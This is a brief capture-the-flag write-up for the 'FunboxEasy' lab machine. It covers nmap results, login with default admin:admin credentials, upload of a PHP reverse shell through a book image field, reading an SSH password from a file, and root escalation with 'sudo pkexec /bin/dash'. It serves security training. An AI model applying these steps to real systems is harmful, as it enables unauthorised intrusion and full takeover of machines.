Proving grounds Play - FunboxEasy CTF writeup.
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b2d8516ec584051908ebc8582713132f (RSA)
| 256 b0de9703a72ff4e2ab4a9cd9439b8a48 (ECDSA)
|_ 256 9d0f9a26384f0180a7a6809dd1d4cfec (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
| http-robots.txt: 1 disallowed entry
|_gym
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
Web PORT: 80
Directory Fuzzing
http://192.168.169.111/store/
Admin Login
http://192.168.169.111/store/admin.php
Use credentials admin:admin for the admin login.
Upload Reverse Shell
Click Add new book and upload php reverse shell on the image section and post the book.
Direct to the books page to trigger reverse shell.
A file named password.txt located in the user tony folder has password of SSH login.
Privilege Esclation
Login to user tony via SSH using the credentials and run sudo -l to check the permissions.
tony@funbox3:~$ sudo -l
User tony may run the following commands on funbox3:
(root) NOPASSWD: /usr/bin/yelp
(root) NOPASSWD: /usr/bin/dmf
(root) NOPASSWD: /usr/bin/whois
(root) NOPASSWD: /usr/bin/rlogin
(root) NOPASSWD: /usr/bin/pkexec
(root) NOPASSWD: /usr/bin/mtr
(root) NOPASSWD: /usr/bin/finger
(root) NOPASSWD: /usr/bin/time
(root) NOPASSWD: /usr/bin/cancel
(root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh
GTFO Bins Exploit
Alternatively the root privilege can be elevated via the pkexec binary as well.
sudo pkexec /bin/dash
Root Obtained
Thanks for reading!
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